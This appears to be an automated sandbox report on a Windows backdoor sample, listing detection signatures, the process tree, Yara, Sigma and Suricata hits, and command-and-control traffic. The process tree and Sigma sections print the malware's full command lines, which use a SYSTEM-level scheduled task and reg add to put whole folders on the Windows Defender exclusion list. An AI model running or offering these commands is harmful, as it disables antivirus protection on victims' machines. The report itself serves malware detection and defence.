Edit tour

Windows Analysis Report
2b687482300.6345827638.08.exe

Overview

General Information

Sample name:	2b687482300.6345827638.08.exe
Analysis ID:	1584369
MD5:	934c8c307939cd29f7d1d434f1ad09ef
SHA1:	452e15ee56888ad6424a15efc523dfc8137516b0
SHA256:	3fdcdf14ff5cb781cda7b1920d229ee59b3684b1d9b1ef939d0549ae0f8815be
Tags:	backdoorexemsisilverfoxwinosuser-zhuzhu0009
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Adds extensions / path to Windows Defender exclusion list (Registry)

Creates an undocumented autostart registry key

Drops PE files to the document folder of the user

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for dropped file

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Sample is not signed and drops a device driver

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the driver directory

Creates files inside the system directory

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE

Sigma detected: Windows Defender Exclusions Added - Registry

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

2b687482300.6345827638.08.exe (PID: 2300 cmdline: "C:\Users\user\Desktop\2b687482300.6345827638.08.exe" MD5: 934C8C307939CD29F7D1D434F1AD09EF)

EMp3o1.exe (PID: 5956 cmdline: C:\Users\user\Documents\EMp3o1.exe MD5: D3709B25AFD8AC9B63CBD4E1E1D962B9)

EMp3o1.exe (PID: 6032 cmdline: C:\Users\user\Documents\EMp3o1.exe MD5: D3709B25AFD8AC9B63CBD4E1E1D962B9)

cmd.exe (PID: 940 cmdline: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7044 cmdline: SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6040 cmdline: SCHTASKS /Run /TN "Task1" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 728 cmdline: SCHTASKS /Delete /TN "Task1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 2260 cmdline: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2704 cmdline: SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5236 cmdline: SCHTASKS /Run /TN "Task1" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6804 cmdline: SCHTASKS /Delete /TN "Task1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 2584 cmdline: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5232 cmdline: SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2656 cmdline: SCHTASKS /Run /TN "Task1" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2332 cmdline: SCHTASKS /Delete /TN "Task1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 4060 cmdline: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 320 cmdline: SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3792 cmdline: SCHTASKS /Run /TN "Task1" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5912 cmdline: SCHTASKS /Delete /TN "Task1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

G5CQjd.exe (PID: 4548 cmdline: "C:\Program Files (x86)\G5CQjd\G5CQjd.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

cmd.exe (PID: 4176 cmdline: cmd /c echo.>c:\xxxx.ini MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2084 cmdline: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 2192 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 3924 cmdline: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 1320 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 2360 cmdline: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 6564 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 1080 cmdline: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 6428 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

G5CQjd.exe (PID: 6888 cmdline: "C:\Program Files (x86)\G5CQjd\G5CQjd.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

Cy9OUo.exe (PID: 3660 cmdline: "C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

Cy9OUo.exe (PID: 2496 cmdline: "C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

Cy9OUo.exe (PID: 5056 cmdline: "C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

G5CQjd.exe (PID: 720 cmdline: "C:\Program Files (x86)\G5CQjd\G5CQjd.exe" MD5: 7B6586E21FBC8F2F0BB784A1A8FC65B4)

cleanup

Yara Signatures

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.EMp3o1.exe.2800000.1.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x1fb0f:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fbc2:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fcd2:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fc20:$e2: Add-MpPreference -ExclusionPath

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F, CommandLine: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\Documents\EMp3o1.exe, ParentImage: C:\Users\user\Documents\EMp3o1.exe, ParentProcessId: 6032, ParentProcessName: EMp3o1.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F, ProcessId: 940, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE

Source: Process started

Author: frack113: Data: Command: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f, CommandLine: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f, CommandLine|base64offset|contains: , Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2084, ParentProcessName: cmd.exe, ProcessCommandLine: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f, ProcessId: 2192, ProcessName: reg.exe

Sigma detected: Windows Defender Exclusions Added - Registry

Source: Registry Key set

Author: Christian Burkard (Nextron Systems): Data: Details: 0, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 2192, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData

Suricata Signatures

ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T10:12:54.154885+0100	2852901	1	Malware Command and Control Activity Detected	192.168.2.6	62788	8.217.47.169	8917	TCP
2025-01-05T10:12:56.382472+0100	2852901	1	Malware Command and Control Activity Detected	192.168.2.6	62789	8.217.47.169	8917	TCP
2025-01-05T10:12:59.159232+0100	2852901	1	Malware Command and Control Activity Detected	192.168.2.6	62790	8.217.47.169	8917	TCP
2025-01-05T10:13:16.082102+0100	2852901	1	Malware Command and Control Activity Detected	192.168.2.6	62796	8.217.47.169	8917	TCP
2025-01-05T10:13:18.989525+0100	2852901	1	Malware Command and Control Activity Detected	192.168.2.6	62797	8.217.47.169	8917	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Program Files (x86)\E2ky7uqb\tbcore3U.dll	Avira: detection malicious, Label: TR/Redcap.vdzex
Source: C:\Program Files (x86)\G5CQjd\tbcore3U.dll	Avira: detection malicious, Label: TR/Redcap.vdzex

Multi AV Scanner detection for submitted file

Source: 2b687482300.6345827638.08.exe	Virustotal: Detection: 12%			Perma Link
Source: 2b687482300.6345827638.08.exe	ReversingLabs: Detection: 13%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\E2ky7uqb\tbcore3U.dll	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\G5CQjd\tbcore3U.dll	Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 39.103.20.34:443 -> 192.168.2.6:62735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 118.178.60.9:443 -> 192.168.2.6:62780 version: TLS 1.2

Source:	Binary string: d:\work\iGiveButton\toolbar4\Release_bin\uninstall.pdb source: G5CQjd.exe, 00000028.00000000.3437121582.0000000000718000.00000002.00000001.01000000.0000000A.sdmp, G5CQjd.exe, 00000029.00000002.3482527026.0000000000718000.00000002.00000001.01000000.0000000A.sdmp, G5CQjd.exe, 00000029.00000000.3464191213.0000000000718000.00000002.00000001.01000000.0000000A.sdmp, Cy9OUo.exe, 0000002A.00000000.3469206986.00000000001F8000.00000002.00000001.01000000.0000000C.sdmp, Cy9OUo.exe, 0000002A.00000002.3484346566.00000000001F8000.00000002.00000001.01000000.0000000C.sdmp, Cy9OUo.exe, 0000002D.00000002.3499578790.00000000001F8000.00000002.00000001.01000000.0000000C.sdmp, Cy9OUo.exe, 0000002D.00000000.3491990756.00000000001F8000.00000002.00000001.01000000.0000000C.sdmp, Cy9OUo.exe, 0000002E.00000000.3579031648.00000000001F8000.00000002.00000001.01000000.0000000C.sdmp, Cy9OUo.exe, 0000002E.00000002.3594006751.00000000001F8000.00000002.00000001.01000000.0000000C.sdmp, G5CQjd.exe, 0000002F.00000002.3596772792.0000000000718000.00000002.00000001.01000000.0000000A.sdmp, G5CQjd.exe, 0000002F.00000000.3584367115.0000000000718000.00000002.00000001.01000000.0000000A.sdmp, G5CQjd.exe.6.dr, Cy9OUo.exe.40.dr
Source:	Binary string: c:\tools_git_priv\truesight\driver\objfre_win7_amd64\amd64\TrueSight.pdb source: 189atohci.sys.0.dr
Source:	Binary string: y:\avsdk5\user\make\build\public\64-bit\vseamps.pdb source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe, 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmp, EMp3o1.exe, 00000005.00000000.2758749263.0000000140014000.00000002.00000001.01000000.00000008.sdmp, EMp3o1.exe, 00000006.00000000.2978571160.0000000140014000.00000002.00000001.01000000.00000008.sdmp, EMp3o1.exe.0.dr

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Windows\System32\reg.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\ProgramData	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Users	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Program Files (x86)	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Users\user\Documents	Jump to behavior

Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_00007FFDAC08A1B8 FindFirstFileExW,

5_2_00007FFDAC08A1B8

Source: C:\Users\user\Documents\EMp3o1.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	5_2_000000014000DFFE
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	5_2_000000014000DDFF
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 4x nop then movsxd rbx, qword ptr [r14+10h]	5_2_0000000140011270
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	5_2_000000014000DE96
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	5_2_000000014000DEFB
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	5_2_000000014000E178
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	5_2_000000014000DDD9

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2852901 - Severity 1 - ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin : 192.168.2.6:62790 -> 8.217.47.169:8917
Source: Network traffic	Suricata IDS: 2852901 - Severity 1 - ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin : 192.168.2.6:62796 -> 8.217.47.169:8917
Source: Network traffic	Suricata IDS: 2852901 - Severity 1 - ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin : 192.168.2.6:62789 -> 8.217.47.169:8917
Source: Network traffic	Suricata IDS: 2852901 - Severity 1 - ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin : 192.168.2.6:62788 -> 8.217.47.169:8917
Source: Network traffic	Suricata IDS: 2852901 - Severity 1 - ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin : 192.168.2.6:62797 -> 8.217.47.169:8917

Source: global traffic

TCP traffic: 192.168.2.6:62788 -> 8.217.47.169:8917

Source: global traffic

TCP traffic: 192.168.2.6:62640 -> 162.159.36.2:53

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
